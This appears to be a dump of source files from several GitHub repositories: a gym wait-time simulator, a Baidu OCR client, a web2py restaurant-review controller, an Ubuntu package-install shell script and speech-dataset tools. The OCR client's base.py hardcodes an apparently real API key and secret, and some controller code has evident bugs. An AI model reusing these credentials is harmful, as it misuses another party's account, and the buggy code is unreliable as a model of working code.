total_average_wait_time = sum(wait_times[n].values())/num_cust\r\n total_average_wait_times[n].append(total_average_wait_time)\r\n print ()\r\n print ('Number of Customers: {0}'.format(NUMBER_OF_CUSTOMERS[0]))\r\n print ('Simulation Length: {0}'.format(SIM_TIME))\r\n print ('Average Wait Times: ')\r\n print (' Cardio: {0}'.format(wait_times[n]['cardio_wait_time']/num_cust))\r\n print (' Machines: {0}'.format(wait_times[n]['machines_wait_time']/num_cust))\r\n print (' Free Weights: {0}'.format(wait_times[n]['free_weights_wait_time']/num_cust))\r\n print (' Bench: {0}'.format(wait_times[n]['bench_wait_time']/num_cust))\r\n print (' Rack: {0}'.format(wait_times[n]['rack_wait_time']/num_cust))\r\n print (' Per Person: {0}'.format(total_average_wait_time))\r\n\r\n\r\ndef session_results(n):\r\n print()\r\n print('Average Customer Wait Time: {0}'.format())\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n try:\r\n seed = sys.argv[1]\r\n except:\r\n seed = input('Please provide a seed: \\n')\r\n\r\n if len(sys.argv) < 6:\r\n print ('need more seeds please')\r\n exit()\r\n\r\n seeds = sys.argv[1:6]\r\n\r\n for session in input_params:\r\n print('\\n\\nSession: {0}'.format(session['changed']))\r\n for n in range(NUMBER_OF_SIMULATIONS):\r\n stream = np.random.RandomState(int(seeds[n]))\r\n env = simpy.Environment()\r\n env.process(setup(env, stream, NUMBER_OF_CUSTOMERS, n, session))\r\n env.run(until=SIM_TIME)\r\n results(NUMBER_OF_CUSTOMERS[n], n)\r\n\r\n print(total_average_wait_times)\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.7977941036224365, "alphanum_fraction": 0.7977941036224365, "avg_line_length": 67, "blob_id": "8115028d77ec01af0e0751d108f01104693be9f6", "content_id": "e330452a8c7c9c1a92334aa619faa5db4e7d95de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 272, "license_type": "no_license", "max_line_length": 238, "num_lines": 4, "path": "/README.md", "repo_name": "LeeZeitz/GymWaitTimeSimulator", "src_encoding": "UTF-8", "text": "# GymWaitTimeSimulator\n\n## About\nThis is a model and simulation tool for waiting times at a local Victoria gym. I collected some data about the types of equipment at the gym, the gym arrival rates, the different types of users, and the equipment-to-exercise distribution.\n" } ]
4
zxwqxtu/ai
https://github.com/zxwqxtu/ai
41679b04b6117cac6f715d236e20b2eec0ae807a
89d909e7ce7038333b3653cfab60cf118da0197c
d758a0ec465d31ce0dbbe708f396b8d2ce2b6fcc
refs/heads/master
2021-05-10T17:10:20.202221
2018-01-23T11:22:11
2018-01-23T11:22:11
118,600,818
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5977653861045837, "alphanum_fraction": 0.6089385747909546, "avg_line_length": 31.5625, "blob_id": "e9a1c87ae6136e0d8741c89403c40e0351e89484", "content_id": "71da0e39bee3bd521d1b47aa8b2db2086910f177", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 563, "license_type": "no_license", "max_line_length": 125, "num_lines": 16, "path": "/base.py", "repo_name": "zxwqxtu/ai", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\nimport json, urllib, urllib2, sys, ssl\r\n\r\nclass Base:\r\n token = ''\r\n ak = 'UV6HyMKwetEZcfkNIdTYKutC'\r\n sk = 'HumqHaVRETQDUBGb6PQaGQkuKzj7xYY6'\r\n\r\n # client_id 为官网获取的AK, client_secret 为官网获取的SK\r\n def getToken(self, ak, sk):\r\n url = 'https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id=%s&client_secret=%s'%(ak, sk)\r\n response = urllib2.urlopen(url)\r\n return json.load(response)['access_token']\r\n\r\n def __init__(self):\r\n self.token = self.getToken(self.ak, self.sk)\r\n" }, { "alpha_fraction": 0.5544554591178894, "alphanum_fraction": 0.5671852827072144, "avg_line_length": 27.45833396911621, "blob_id": "5bf42e90a40d739249067e58f2cd23b11779f8c3", "content_id": "0ddef88fc1bcff7bbce057d2be7f366aeac84f9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 707, "license_type": "no_license", "max_line_length": 97, "num_lines": 24, "path": "/word.py", "repo_name": "zxwqxtu/ai", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\nimport json, urllib, urllib2, base64\r\nfrom base import Base\r\n\r\nclass Ai(Base):\r\n def getGeneralWord(self, data):\r\n url = \"https://aip.baidubce.com/rest/2.0/ocr/v1/general_basic?access_token=%s\"%self.token\r\n print url\r\n req = urllib2.urlopen(url, urllib.urlencode(data))\r\n return req.read()\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n params = {\r\n 'url': 'http://haijia.bjxueche.net/images/logo.png',\r\n #'url': 'https://www.baidu.com/img/bd_logo1.png',\r\n 'detect_direction': \"true\",\r\n \"language_type\": \"CHN_ENG\",\r\n \"detect_language\": 'true',\r\n 'probability': 'true'\r\n }\r\n\r\n print Ai().getGeneralWord(params)\r\n" } ]
2
gsagarcoep/Trial
https://github.com/gsagarcoep/Trial
a1effe4f1c937137bae2ae31a77d534fbe4e8b27
e8aec57f2ea29d732c285a1cb3145a1fa173a336
3db678c71271f2258e042072270e4097d9a9a8b2
refs/heads/master
2021-01-22T15:03:58.546139
2013-11-17T11:50:10
2013-11-17T11:50:10
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6278141140937805, "alphanum_fraction": 0.63447105884552, "avg_line_length": 34.082801818847656, "blob_id": "10086ca6910bb1cd21fa3205802d35bcb8dc6d07", "content_id": "7a56835089da04ce462be1dd445626aa7a010924", "detected_licenses": [ "LicenseRef-scancode-public-domain" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16524, "license_type": "permissive", "max_line_length": 390, "num_lines": 471, "path": "/controllers/default.py", "repo_name": "gsagarcoep/Trial", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# this file is released under public domain and you can use without limitations\n\n#########################################################################\n## This is a sample controller\n## - index is the default action of any application\n## - user is required for authentication and authorization\n## - download is for downloading files uploaded in the db (does streaming)\n## - call exposes all registered services (none by default)\n#########################################################################\nimport random\n\ndef index():\n \"\"\"\n example action using the internationalization operator T and flash\n rendered by views/default/index.html or views/generic.html\n\n if you need a simple wiki simply replace the two lines below with:\n return auth.wiki()\n \"\"\"\n\n response.title = 'Welcome to CafeHunt!'\n \n session.hotelPhotos = []\n session.hotelIds = []\n \n row = db(db.Advertisement.hotel_id!=None).select()\n numOfAds=len(row)\n adId=[]\n \n while len(adId) < 4 and len(adId)<numOfAds:\n\tj=0\n\tflag=False\n\t \n\tnum=random.randint(1,numOfAds)\n\tquery = db.Advertisement.id == num\n\t\n\twhile not query:\n\t\tnum=random.randint(1,numOfAds)\n\t\tquery = db.Advertisement.id == num\n\t\t\t \n\twhile j < len(adId):\n\t\tflag=False\n\t\t\t\n\t\tif len(adId) == j:\n\t\t\tbreak;\n\t\t\t\n\t\tif num==adId[j]:\n\t\t\tj=0\n\t\t\t\n\t\t\tnum=random.randint(1,numOfAds)\n\t\t\tquery = db.Advertisement.id == num\n\t\n\t\t\twhile not query:\n\t\t\t\tnum=random.randint(1,numOfAds)\n\t\t\t\tquery = db.Advertisement.id == num\n\t\t\t\t\t\n\t\t\tflag=True\n\t\telse:\n\t\t\t\t\n\t\t\tj=j+1\n\t\n\tif flag==False:\n\t\t\tadId.append(num)\n \n \n \n query = db.Advertisement.id == adId[0]\n session.hotelPhotos.append(db(query).select(db.Advertisement.banner)[0])\n session.hotelIds.append(adId[0])\n\n response.flash=''\n\n query = db.Advertisement.id == adId[1]\n session.hotelPhotos.append(db(query).select(db.Advertisement.banner)[0])\n session.hotelIds.append(adId[1])\n \n query = db.Advertisement.id == adId[2]\n session.hotelPhotos.append(db(query).select(db.Advertisement.banner)[0])\n session.hotelIds.append(adId[2])\n \n query = db.Advertisement.id == adId[3]\n session.hotelPhotos.append(db(query).select(db.Advertisement.banner)[0])\n session.hotelIds.append(adId[3])\n \n\n response.flash = T(\"Welcome CafeHunt!\")\n form=FORM(INPUT(_name='keyword', requiures=IS_NOT_EMPTY(), _placeholder='Please enter hotel name'), INPUT(_type='submit', _value='Search'))\n #if form.process().accepted:\n # if form.accepts(request,session):\n # redirect(URL('search', args=[form.vars.keyword]))\n ## redirect(URL('search'))\n\n if form.accepts(request,session):\n redirect(URL('search', vars=dict(key=form.vars.keyword)))\n\n\n if request.args != []:\n if request.args[0] == 'changeCity':\n # check if this city is available..\n cityQuery=db.Hotel_Info.city == request.args[1]\n cityPresent=db(cityQuery).select(db.Hotel_Info.city)\n if len(cityPresent) >= 1:\n session.city = request.args[1]\n\n response.menu = [\n (T('Home'), False, URL('default', 'index'), [])]\n\n query = db.Hotel_Info.id > 0\n\n cities = db(query).select(db.Hotel_Info.city, distinct=True)\n\n menuList = []\n\n for city in cities:\n t = (T(city.city), False, URL('index', args=['changeCity', city.city]))\n menuList.append(t)\n\n L = [\n (T('Hyderabad'), False, URL('index', args=['changeCity', 'Hyderabad'])),\n (T('Pune'), False, URL('index', args=['changeCity', 'Pune'])),\n (T('Mumbai'), False, URL('index', args=['changeCity', 'Mumbai']))]\n\n response.menu += [\n (SPAN(session.city, _class='highlighted'), False, URL('index'), menuList)]\n\n response.menu += [(SPAN('Add', _class='highlighted'), False, URL('index'), [\n (T('Hotel'), False, URL('addHotel'))])]\n\n if len(request.vars) != 0:\n response.flash=request.vars['flash']\n \n return dict(message=T('Welcome to CafeHunt!!'), form=form)\n\n\ndef user():\n \"\"\"\n exposes:\n http://..../[app]/default/user/login\n http://..../[app]/default/user/logout\n http://..../[app]/default/user/register\n http://..../[app]/default/user/profile\n http://..../[app]/default/user/retrieve_password\n http://..../[app]/default/user/change_password\n http://..../[app]/default/user/manage_users (requires membership in\n use @auth.requires_login()\n @auth.requires_membership('group name')\n @auth.requires_permission('read','table name',record_id)\n to decorate functions that need access control\n \"\"\"\n return dict(form=auth())\n\[email protected]()\ndef download():\n \"\"\"\n allows downloading of uploaded files\n http://..../[app]/default/download/[filename]\n \"\"\"\n return response.download(request, db)\n\n\ndef call():\n \"\"\"\n exposes services. for example:\n http://..../[app]/default/call/jsonrpc\n decorate with @services.jsonrpc the functions to expose\n supports xml, json, xmlrpc, jsonrpc, amfrpc, rss, csv\n \"\"\"\n return service()\n\n\[email protected]_signature()\ndef data():\n \"\"\"\n http://..../[app]/default/data/tables\n http://..../[app]/default/data/create/[table]\n http://..../[app]/default/data/read/[table]/[id]\n http://..../[app]/default/data/update/[table]/[id]\n http://..../[app]/default/data/delete/[table]/[id]\n http://..../[app]/default/data/select/[table]\n http://..../[app]/default/data/search/[table]\n but URLs must be signed, i.e. linked with\n A('table',_href=URL('data/tables',user_signature=True))\n or with the signed load operator\n LOAD('default','data.load',args='tables',ajax=True,user_signature=True)\n \"\"\"\n return dict(form=crud())\n\ndef search():\n\n # if normal flow\n if len(request.args) == 0:\n\n if len(request.vars) == 0:\n redirect(URL('index'))\n\n # add a city filter here\n query=(db.Hotel_Info.name.contains(request.vars['key']) & (db.Hotel_Info.city == session.city))\n\n hotels = db(query).select(db.Hotel_Info.ALL)\n\n #response.flash = len(hotels)\n\n if len(hotels) == 0:\n response.flash = 'Sorry no hotels found of your interest in city ' + session.city\n\n redirect(URL('search', args=['noresult'], vars=dict(key=request.vars['key'])))\n\n\n\n # Add few recommondations\n\n query = ((db.Hotel_Info.overall_rating >= 4.0) & (db.Hotel_Info.city == session.city))\n\n recommondations = db(query).select(db.Hotel_Info.ALL)\n\n recommondationMessage='Our recommondations for you:'\n\n return dict(content=hotels, recommondations=recommondations, recommondationMessage=recommondationMessage)\n else:\n # if earlier no results were found, do this is a new page... /search/noresult\n\n newSearchForm=FORM(INPUT(_name='keyword', requiures=IS_NOT_EMPTY(), _placeholder='Please enter hotel name'), INPUT(_type='submit', _value='Search'))\n #if form.process().accepted:\n # if form.accepts(request,session):\n # redirect(URL('search', args=[form.vars.keyword]))\n ## redirect(URL('search'))\n\n if newSearchForm.accepts(request,session):\n redirect(URL('search', vars=dict(key=newSearchForm.vars.keyword)))\n\n hotels = []\n\n query = ((db.Hotel_Info.overall_rating >= 4.0) & (db.Hotel_Info.city == session.city))\n\n recommondations = db(query).select(db.Hotel_Info.ALL)\n\n\n recommondationMessage='Or you may try our recommondations:'\n\n return dict(content=hotels, newSearchForm=newSearchForm, recommondations=recommondations, recommondationMessage=recommondationMessage)\n pass\n\n\[email protected]_login()\ndef details():\n\n #if adding a review\n # /addReview/hotel_id\n\n session.hotel_id = request.args[0]\n\n #addReviewForm=FORM(INPUT(_name='description', requiures=IS_NOT_EMPTY(), _placeholder='What\\'s your opinion?'), INPUT(_type='submit', _value='Post it..'), INPUT(_type='reset', _value='reset'))\n\n addReviewForm=SQLFORM(db.Review, fields=['rating', 'description'], submit_button='Post')\n\n import datetime\n\n #if addReviewForm.accepts(request,session):\n # # /addReview/hotel_id\n # db.Review.insert(user_id=auth.user_id, hotel_id=session.hotel_id, rating=addReviewForm.vars.rating, time_of_post=datetime.datetime.now(), description=addReviewForm.vars.description)\n #\n # redirect(URL('details', args=[session.hotel_id]))\n \n if addReviewForm.process().accepted:\n # Add this review...\n db.Review.insert(user_id=auth.user_id, hotel_id=session.hotel_id, rating=addReviewForm.vars.rating, time_of_post=datetime.datetime.now(), description=addReviewForm.vars.description)\n\n # Update the overall rating of this hotel.\n row = db(db.Hotel_Info.id == session.hotel_id).select(db.Hotel_Info.overall_rating, db.Hotel_Info.no_of_reviewes)\n currentRating = row[0].overall_rating\n currentNoOfReviews = row[0].no_of_reviewes\n\n import decimal\n\n #getcontext().prec = 1\n\n newNoOfReviews = currentNoOfReviews + 1\n newRating = (currentRating + int(addReviewForm.vars.rating)/1.0)/newNoOfReviews\n\n db(db.Hotel_Info.id == session.hotel_id).update(overall_rating=newRating, no_of_reviewes=newNoOfReviews)\n\n redirect(URL('details', args=[session.hotel_id]))\n elif addReviewForm.errors:\n redirect(URL('details', args=[session.hotel_id], vars=dict(flash='Please correct the errors')))\n\n query=db.Hotel_Info.id == request.args[0]\n hotels = db(query).select()\n if len(hotels) == 0:\n hotels = ['Sorry, details are not available...']\n\n query=((db.Review.hotel_id == session.hotel_id) & (db.Review.user_id == db.auth_user.id))\n reviews = db(query).select()\n if len(reviews) == 0:\n reviews = []\n\n\n # Get photos if any\n\n query = db.Hotel_Photos.hotel_id == session.hotel_id\n\n images = db(query).select(db.Hotel_Photos.photo)\n\n query = db.Hotel_MenuCard.hotel_id == session.hotel_id\n\n menus = db(query).select(db.Hotel_MenuCard.menu)\n\n session.hotel_name = hotels[0].name\n session.hotel_address = hotels[0].address\n session.rating = hotels[0].overall_rating\n session.hotel_cost = hotels[0].costPerTwo\n session.hotel_hours = hotels[0].hours\n session.url = request.url\n\n return dict(details=hotels[0], reviews=reviews, addReviewForm=addReviewForm, images=images, menus=menus)\n\ndef userDetails():\n userId = request.args[0]\n\n query = ((db.Review.user_id == userId) & (db.Review.hotel_id == db.Hotel_Info.id))\n\n userReviews = db(query).select(db.Hotel_Info.name, db.Review.hotel_id, db.Review.description, db.Review.rating)\n\n query = db.auth_user.id == userId\n\n userInfo = db(query).select(db.auth_user.id, db.auth_user.first_name, db.auth_user.last_name, db.auth_user.photo)\n\n return dict(userReviews=userReviews, id=userInfo[0].id, fname=userInfo[0].first_name, lname=userInfo[0].last_name, photo=userInfo[0].photo)\n\n#@auth.requires_membership('moderator')\ndef addHotel():\n\n if not auth.has_membership('moderator'):\n response.flash='Only moderators can add a new hotel information'\n redirect(URL('index', vars=dict(flash='Only moderators can add a new hotel information')))\n\n newHotelForm = SQLFORM(db.Hotel_Info)\n if newHotelForm.process().accepted:\n response.flash = 'New hotel added'\n elif newHotelForm.errors:\n response.flash = 'Please correct the errors'\n else:\n response.flash = 'Please fill out the form'\n return dict(newHotelForm=newHotelForm) \n\[email protected]_membership('moderator')\ndef deleteReview():\n #/deleteReview/hotel_id/review_id\n # delete review\n if len(request.args) > 1 :\n reviewRating = db(db.Review.id == request.args[1]).select(db.Review.rating)\n db(db.Review.id == request.args[1]).delete()\n\n # Update the overall rating of this hotel.\n row = db(db.Hotel_Info.id == request.args[0]).select(db.Hotel_Info.overall_rating, db.Hotel_Info.no_of_reviewes)\n currentRating = row[0].overall_rating\n currentNoOfReviews = row[0].no_of_reviewes\n\n import decimal\n\n newNoOfReviews = currentNoOfReviews - 1\n if newNoOfReviews == 0:\n newRating = 0\n else:\n newRating = (currentRating - int(reviewRating)/1.0)/newNoOfReviews\n\n db(db.Hotel_Info.id == session.hotel_id).update(overall_rating=newRating, no_of_reviewes=newNoOfReviews)\n\n redirect(URL('details', args=[request.args[0]]))\n elif len(request.args == 1):\n redirect(URL('details', args=[request.args[0]]))\n else:\n request(URL('index'))\n\[email protected]_membership('moderator')\ndef editReview():\n #/deleteReview/hotel_id/review_id\n if len(request.args) > 1 :\n crud.settings.update_next = URL('details', args=[request.args[0]])\n crud.messages.submit_button = 'Update'\n editForm=crud.update(db.Review, request.args[1], fields=['rating', 'description'])\n #redirect(URL('details', args=[request.args[0]]))\n return dict(editForm=editForm)\n elif len(request.args == 1):\n redirect(URL('details', args=[request.args[0]]))\n else:\n request(URL('index'))\n\[email protected]_membership('moderator')\ndef makeModerator():\n \n #makeModerator/user_id\n if len(request.args) > 0 :\n response.flash = request.args[0]\n auth.add_membership('moderator', int(request.args[0]))\n redirect(URL('userDetails', args=[request.args[0]]))\n else:\n request(URL('index'))\n\ndef sendMail():\n mailForm = FORM('Send this info via e-mail:',\n INPUT(_name='To', requiures=IS_EMAIL()),\n INPUT(_name='Subject', requiures=IS_NOT_EMPTY()),\n INPUT(_name='Body', requiures=IS_NOT_EMPTY()),\n INPUT(_type='submit'),\n submit_button='Send')\n\n mailForm.vars.Subject = 'Hotel information - ' + session.hotel_name\n mailForm.vars.Body = session.hotel_name + '\\n' + session.hotel_address + '\\n' + str(session.rating) + '\\n' + str(session.hotel_cost) + '\\n' + session.hotel_hours + '\\n' + 'http://127.0.0.1:8000' + session.url \n\n htmlbody = '<html><p><b>Name: ' + session.hotel_name + '</b>\\r\\n</br></p><p><b>Address:</b> '+session.hotel_address + '</br></p><p><b>Rating: </b>' + str(session.rating) + '</br></p><p><b>Cost per 2 :</b> ' + str(session.hotel_cost) + '</br></p><p><b>Timings: </b> ' + session.hotel_hours + '</br></p><p>For details please visit ' + 'http://127.0.0.1:8000' + session.url + '</p></html>'\n\n\n if mailForm.accepts(request,session):\n #mail.send(to=[mailForm.vars.To], subject=mailForm.vars.Subject, reply_to='[email protected]', message=mailForm.vars.Body)\n mail.send(to=[mailForm.vars.To], subject=mailForm.vars.Subject, reply_to='[email protected]', message=htmlbody)\n redirect(URL('details', args=[session.hotel_id]))\n \n\n return dict(mailForm=mailForm)\n\ndef addHotelPhoto():\n\n if len(request) <= 0:\n redirect('index')\n\n hotelId = request.args[0];\n\n photoForm = SQLFORM(db.Hotel_Photos, fields=['photo'], submit_button='Upload')\n photoForm.vars.hotel_id = request.args[0]\n if photoForm.process().accepted:\n response.flash = 'New photo added'\n\n #db.Hotel_Photos.insert(hotel_id=hotelId, photo=photoForm.vars.photo)\n\n elif photoForm.errors:\n response.flash = 'Please correct the errors'\n else:\n response.flash = 'Please fill out the form'\n return dict(photoForm=photoForm)\n\n\ndef addHotelMenu():\n if len(request) <= 0:\n redirect('index')\n\n hotelId = request.args[0];\n\n menuForm = SQLFORM(db.Hotel_MenuCard, fields=['menu'], submit_button='Upload')\n menuForm.vars.hotel_id = request.args[0]\n if menuForm.process().accepted:\n response.flash = 'New photo added'\n\n #db.Hotel_Photos.insert(hotel_id=hotelId, photo=photoForm.vars.photo)\n\n elif menuForm.errors:\n response.flash = 'Please correct the errors'\n else:\n response.flash = 'Please fill out the form'\n return dict(menuForm=menuForm)\n\ndef incrClicks():\n hotelId = request.args[0]\n \n # db query to increment click of this hotel id\n query = db.Advertisement.hotel_id == hotelId\n clicksRow= db(query).select(db.Advertisement.clicks)[0]\n nclicks= int(clicksRow.clicks) + 1\n db(db.Advertisement.hotel_id==hotelId).update(clicks=nclicks)\n # redirect to original page\n redirect(URL('details', args=[request.args[0]]))\n" } ]
1
pombredanne/noapt
https://github.com/pombredanne/noapt
aff298fcdac2e4a8eacb04c906952bb8a8ea9203
7dc465ed4e216ae1bfd6809b08482cb46ffaeb23
1ed2498211d82ff7be18e2042f351748e8a4e490
refs/heads/master
2020-09-22T12:34:19.042717
2018-09-05T11:42:14
2018-09-05T11:42:14
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6810176372528076, "alphanum_fraction": 0.6888453960418701, "avg_line_length": 32.326087951660156, "blob_id": "75233af37ca16e78671f59d6d57e5e09447abecd", "content_id": "c10184181f36b2b8bcbe64fcb27994f3da83341f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1533, "license_type": "permissive", "max_line_length": 103, "num_lines": 46, "path": "/noapt", "repo_name": "pombredanne/noapt", "src_encoding": "UTF-8", "text": "#!/bin/sh\nset -e\n\n# inline script to installa apt without building up caches\nINSTALL_SCRIPT='mount -t tmpfs tmpfs /var/lib/apt;\nmount -t tmpfs tmpfs /var/cache/apt;\nopts=\"-o Dir::Log::Terminal=/dev/null -o APT::Sandbox::User=root\";\napt-get $opts update;\napt-get $opts install -y '\n\nbinname=\"$1\"\ntest -z \"$binname\" && ( echo \"missing argument: programm name\"; exit 1 )\n\necho \"## searching package for: $binname\"\nplash init\npackage=$(plash run -f ubuntu --run \"$INSTALL_SCRIPT command-not-found\" -- python3 -c \"\nimport sys;\nfrom CommandNotFound.CommandNotFound import CommandNotFound;\nfound = CommandNotFound().get_packages(sys.argv[-1]);\nfound and print(found[0][0])\" \"$binname\")\ntest -z \"$package\" && ( echo \"## error: no package found\"; exit 1 )\n\necho \"## caching package: $package\"\npath='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games'\nbinpath=$(plash run -f ubuntu --run \"$INSTALL_SCRIPT $package\" -- env PATH=$path which \"$binname\")\ntest -z \"$binpath\" && ( echo \"## internal error: could not find binary for package: $package\"; exit 1 )\n\nhostbin=~/bin/\"$binname\"\nmkdir -p ~/bin\n#echo \"## writing recipe to $hostbin\"\ncat >\"$hostbin\" <<EOL\n#!/usr/bin/env plash-exec\n--entrypoint $binpath\n--from\nubuntu\n--run\n$INSTALL_SCRIPT $package\nEOL\nchmod 755 \"$hostbin\"\n\nnodepath=$(plash nodepath --eval-file $hostbin)\ndisk_used=$(du -sh \"$nodepath\" | cut -f1)\n\necho \"## executable: ~/bin/$binname\"\necho \"## disk usage: $disk_used\"\necho \"## to uninstall run: plash rm --eval-file ~/bin/$binname && rm ~/bin/$binname\"\n" }, { "alpha_fraction": 0.6494845151901245, "alphanum_fraction": 0.6632302403450012, "avg_line_length": 25.454545974731445, "blob_id": "0cd22fb58d3391f4a3777ef15a59436873721f99", "content_id": "3c05f05267b3a5e3a7a4e36c02807d27625f31cb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 291, "license_type": "permissive", "max_line_length": 65, "num_lines": 11, "path": "/setup.py", "repo_name": "pombredanne/noapt", "src_encoding": "UTF-8", "text": "from setuptools import setup\n\nsetup(\n name='noapt',\n version='0.6.0',\n description='Install ubuntu packages in other distributions',\n url='https://github.com/ihucos/noapt',\n scripts=['noapt'],\n install_requires=['plash'],\n python_requires='>=3', # plash requires this\n)\n" }, { "alpha_fraction": 0.443953275680542, "alphanum_fraction": 0.4527944326400757, "avg_line_length": 67.82608795166016, "blob_id": "9eba32049eb9b2c73ef81cf7f1883acef60e8bc8", "content_id": "4886f17672e787a048673e75bb26724f50df4bfc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3167, "license_type": "permissive", "max_line_length": 180, "num_lines": 46, "path": "/README.md", "repo_name": "pombredanne/noapt", "src_encoding": "UTF-8", "text": "# noapt\nIs a small wrapper around `plash`, that lets you install ubuntu packages in your home folder. It does not acutaly need an ubuntu system and it can be used by non-privileged users.\n\n## Install\n```\npip3 install noapt --user\n```\n\n## Example\n```\n$ noapt \nmissing argument: programm name \n$ noapt git \n## searching package for: git \n## caching package: git \n<cut output>\nSetting up git (1:2.15.1-1ubuntu2) ... \nProcessing triggers for libc-bin (2.27-0ubuntu2) ... \n--: \n## executable: ~/bin/git \n## disk usage: 80M \n## to uninstall run: plash rm --eval-file ~/bin/git && rm ~/bin/git \n$ ~/bin/git --version \ngit version 2.15.1 \n```\n## How does that work?\n`noapt` itself is just ~50 lines intense but comparably robust shell scripting. The heavy lifting is done by [plash](https://github.com/ihucos/plash/), which is a container engine.\n\n## Use cases\n* Run non LTS packages in a LTS system\n* Use Ubuntu packages in another distribution\n* You don't have root access\n* You don't like to use root access very often\n* Install programs without cluttering your system\n* Dont't bother about package names, caching meta data and other subtelities of your package manager: just type `noapt <executable-name>`\n* `noapt ag` is shorter than `sudo apt install silversearcher-ag`\n\n## Updating installed packages\nNo really nice solution yet: delete all build cache with `plash purge` and it will be rebuiled on demand.\n\n## Caveats\n* Plashs chmod/chown is broken until linux 4.18 and adaptations (so apt fails mostly!)\n* On my system 1.3 seconds startup time is just too much. That is absolutely optimizable, it comes mainly from slow python imports.\n* I think fuse being slow is not too bad, the main work is expected to be done in /home, which is rbind mounted from container to host\n* ~50 lines shell scripting\n* It's not magic: the package runs in an isolated container where `/home` and `/tmp` is mounted to the host. It will not work wirh everything.\n\n" } ]
3
Joke-s/mandarin_speech_recognition
https://github.com/Joke-s/mandarin_speech_recognition
accc6199b85d3e77784c42f73157ea6fe3f65fcf
96afa5d20c96c734c9cb930ab863734a0528be6e
a1828efcef85bb6afc17e220a3144de19747990e
refs/heads/master
2020-06-13T12:12:40.993318
2019-04-23T12:04:38
2019-04-23T12:04:38
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6021664142608643, "alphanum_fraction": 0.6090595722198486, "avg_line_length": 32.295082092285156, "blob_id": "df568e5d4208e7e1fa40d3cc24304dc3bcfcc7bb", "content_id": "ba4b8b8dfe65462dcb2e58c4151a813dc6a264dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2031, "license_type": "no_license", "max_line_length": 96, "num_lines": 61, "path": "/tools/plot_curve.py", "repo_name": "Joke-s/mandarin_speech_recognition", "src_encoding": "UTF-8", "text": "\"\"\" learning curve plot \"\"\"\n\nimport argparse\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef parse_value(line, name):\n item = [x for x in line.split('\\t') if name in x][0]\n value = item.split('=')[-1]\n value = float(value[:-1])if '\\n' in value else float(value)\n return value\n\n\ndef parse_log(log_path, value_name='loss'):\n with open(log_path) as fd:\n lines = fd.readlines()\n\n i, epoch = 0, 0\n train_values = []\n valid_values = []\n while i != len(lines):\n # training part\n while 'Epoch' in lines[i] and 'Batch' in lines[i]:\n train_values.append(parse_value(lines[i], value_name))\n i += 1\n train_values.append(parse_value(lines[i], value_name))\n i += 1\n # valid part\n while i < len(lines) and 'Epoch[0]' in lines[i] and 'Batch' in lines[i]:\n valid_values.append(parse_value(lines[i], value_name))\n i += 1\n # skip save message\n while i < len(lines) and 'Batch' not in lines[i]:\n i += 1\n epoch += 1\n\n return epoch, train_values, valid_values\n\n\ndef plot(epoch, train_values, valid_values=None, name='loss'):\n train_x = np.linspace(0, epoch, len(train_values))\n plt.plot(train_x, train_values, color='blue', label='train_%s' % name)\n if valid_values is not None:\n valid_x = np.linspace(0, epoch, len(valid_values))\n plt.plot(valid_x, valid_values, color='red', label='valid_%s' % name)\n plt.legend()\n plt.xlabel('iteration times')\n plt.ylabel(name)\n plt.xlim(0, epoch)\n plt.show()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='inference for speech recognition')\n parser.add_argument('log_path', type=str, help='wav file path')\n parser.add_argument('--value_name', type=str, help='name of value expected', default='loss')\n args = parser.parse_args()\n\n epoch, train_values, valid_values = parse_log(args.log_path, args.value_name)\n plot(epoch, train_values, valid_values, args.value_name)\n" }, { "alpha_fraction": 0.5895542502403259, "alphanum_fraction": 0.6032266616821289, "avg_line_length": 46.493507385253906, "blob_id": "3787bd00061b4974871d74547f2b9ce5ce1d1d90", "content_id": "3c56ea0590bc941f5ba8cbd485509cde54d53477", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3657, "license_type": "no_license", "max_line_length": 119, "num_lines": 77, "path": "/tools/THCHS30_preprocess.py", "repo_name": "Joke-s/mandarin_speech_recognition", "src_encoding": "UTF-8", "text": "\"\"\" dataset preprocess tool \"\"\"\n# parent path\nimport sys\nsys.path.append('../')\n\nimport os\nfrom util.dataset import SpeechDataSet\n\n\nclass THCHS30(SpeechDataSet):\n \"\"\" thchs30 dataset \"\"\"\n def __init__(self, data_dir, saved_dir):\n super(THCHS30, self).__init__('THCHS30', data_dir, saved_dir)\n\n def _build_samples(self):\n \"\"\" implement super function \"\"\"\n data_dir = os.path.join(self.data_dir, 'data_thchs30', 'data')\n train_dir = os.path.join(self.data_dir, 'data_thchs30', 'train')\n valid_dir = os.path.join(self.data_dir, 'data_thchs30', 'dev')\n test_dir = os.path.join(self.data_dir, 'data_thchs30', 'test')\n # partation list\n train_wav_paths, train_sct_paths = THCHS30._extract_paths(train_dir, data_dir)\n valid_wav_paths, valid_sct_paths = THCHS30._extract_paths(valid_dir, data_dir)\n test_wav_paths, test_sct_paths = THCHS30._extract_paths(test_dir, data_dir)\n self.train_samples = THCHS30._extract_samples(train_wav_paths, train_sct_paths, self.saved_dir)\n self.valid_samples = 